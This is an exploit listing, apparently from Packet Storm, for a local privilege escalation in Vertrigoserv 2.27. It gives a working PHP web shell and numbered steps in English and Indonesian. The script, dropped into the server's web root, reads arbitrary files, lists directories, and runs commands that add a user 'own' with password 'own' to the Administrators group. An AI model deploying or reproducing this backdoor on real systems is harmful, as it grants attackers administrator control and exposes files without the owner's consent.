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Vertrigoserv 2.27 Privilege Escalation

🗓️ 19 May 2012 00:00:00Reported by X-CisadaneType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Vertrigoserv 2.27 Local Privilege Escalation Exploit. Exploit allows unauthorized users to gain admin privilege

Code
`=====================================================  
Vertrigoserv 2.27 Local Privilege Escalation Exploit  
====================================================  
  
:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------:  
: # Exploit Title : Vertrigoserv 2.27 Local Privilege Escalation Exploit  
: # Date : May 19th 2012  
: # Author : X-Cisadane  
: # Software Link : http://vertrigo.sourceforge.net/  
: # Version : 2.27  
: # Category : Desktop (Windows) Applications  
: # Platform : Win32  
: # Vulnerability : Local Privilege Escalation Exploit  
: # Tested On : Windows XP Professional Service Pack 3  
: # Greetz to : Inphex, X-Code, Borneo Crew, Depok Cyber, Dunia Santai,  
Jiban Crew, CodeNesia, Axon Code, Jember Hacker, Explore Crew, Winda Utari  
:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------:  
  
Proof Of Concept :  
================  
[ENGLISH]  
1.Run VertrigoServ  
2.Create a file named script.php in X:\VertrigoServ Installation  
Directory\www\  
3.Fill script.php with this script & save!  
<?php  
//I'm using code from Inphex (inphex0 at googlemail.com)  
//Copyrighted (C) Inphex  
error_reporting(E_ALL ^ E_NOTICE);  
$qQa = ($_GET['qmB'] == "")?"./":$_GET['qmB'];  
$qQd = opendir($qQa);  
  
if (isset($_GET['qrF']))  
{  
$qrX = fopen($_GET['qrF'],"r");  
echo fread($qrX,50000);  
exit;  
} elseif(isset($_GET['qQx'])) { exec("net user own own /add & net  
localgroup Administrators own /add"); echo "User own -> full privileges  
successfully added";exit;}  
echo "<textarea rows=40 cols=80  
style='position:absolute;margin-left:390;'>";  
echo htmlspecialchars(shell_exec("cd ".$qQa." & dir"));  
echo "</textarea>";  
while (false !== ($qQr = readdir($qQd))){  
  
switch(filetype($qQa.$qQr))  
{  
case "dir":  
echo "<a  
href=?qmB=".urlencode(htmlspecialchars(realpath($qQa.$qQr)))."/>".htmlspecialchars($qQr)."</a><br>";  
break;  
case "file":  
echo "<a  
href=?qrF=".urlencode(htmlspecialchars(realpath($qQa.$qQr))).">".htmlspecialchars($qQr)."</a><br>";  
break;  
}  
}  
?>  
  
4.Open your browser & go to http://localhost/script.php?qQx  
5.If successfull, it will show this message : User own -> full privileges  
successfully added  
6.Now, open Command Prompt and type Net User then press enter! It will show  
a new user (own) & the password is own.  
  
[INDONESIAN]  
1.Jalankan VertrigoServ  
2.Buat sebuah berkas dengan nama script.php pada X:\Direktori tempat  
menginstall VertrigoServ\www\  
3.Isi berkas script.php dengan script berikut & simpan!  
4.Buka browser anda, masuk ke http://localhost/script.php?qQx  
5.Jika berhasil, akan muncul pesan ini User own -> full privileges  
successfully added  
6.Sekarang buka Command Prompt dan ketik Net User kemudian tekan enter!  
Kemudian akan muncul sebuah user baru dengan nama own dan password own  
`

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